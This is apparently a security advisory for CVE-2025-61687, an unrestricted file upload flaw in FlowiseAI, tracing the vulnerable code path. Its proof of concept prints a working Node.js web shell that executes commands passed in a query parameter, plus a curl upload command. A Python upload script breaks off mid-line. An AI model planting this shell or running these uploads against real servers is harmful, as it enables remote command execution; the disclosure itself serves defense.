FlowiseAI/Flosise has File Upload vulnerability

### Summary A file upload vulnerability in FlowiseAI allows authenticated users to upload arbitrary files without proper validation. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). ### Details The system fails to validate file extensions, MIME types, or file content during uploads. As a result, malicious scripts such as Node.js-based web shells can be uploaded and stored persistently on the server. These shells expose HTTP endpoints capable of executing arbitrary commands if triggered. The uploaded shell does not automatically execute, but its presence allows future exploitation via administrator error or chained vulnerabilities. #### Taint Flow - **Taint 01: Route Registration** `POST` file requests are routed to the controller via Multer https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8 - **Taint 02: Multer Settings** Uploaded files are stored temporarily before further handling https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954 - **Taint 03: Controller** Receives the file from Multer and delegates to the service https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11 - **Taint 04: Service Layer** Processes the file and sends results back to controller https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16 - **Taint 05: createFileAttachment** Extracts metadata, moves file to permanent storage https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126 - **Taint 06: File Save Path** Creates storage directory and saves file https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175 https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541 - **Taint 07: File Filtering** Filters dangerous characters in file names but does not reject malicious content https://github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111 ### PoC #### shell.js (Node.js Web Shell) ```js const { exec } = require('child_process'); const http = require('http'); const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd'); if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stderr || ''}`); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end(` <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> `); } }); const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(`Shell running on port ${PORT}`); console.log(`Access: http://localhost:${PORT}?cmd=id`); }); ``` #### curl Upload ```bash curl -X POST "http://localhost:3000/api/v1/attachments/0237eefc-18c5-46b2-8b3c-97aa516133fc/$(uuidgen)" \ -H "Cookie: jwt=ppBk33uGXmJmoj8zIAGgHOP-oQfb2b8yds7XQfqyRl0" \ -F "files=@shell.js;type=application/javascript" ``` #### Python Upload Script ```python import requests import uuid TARGET_URL = "http://localhost:3000" CHATFLOW_ID = "0237eefc-18c5-46b2-8b3c-97aa516

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Severity from

GitHub (reviewed advisory)

Weakness

CWE-434

Also known as

CVE-2025-61687

• github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc
• nvd.nist.gov/vuln/detail/CVE-2025-61687
• github.com/FlowiseAI/Flowise
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L1104-L1111
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L170-L175
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/components/src/storageUtils.ts#L533-L541
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/controllers/attachments/index.ts#L4-L11
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/routes/attachments/index.ts#L8
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/services/attachments/index.ts#L7-L16
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/createAttachment.ts#L118-L126
• github.com/FlowiseAI/Flowise/blob/d29db16bfcf9a4be8febc3d19d52263e8c3d0055/packages/server/src/utils/index.ts#L1950-L1954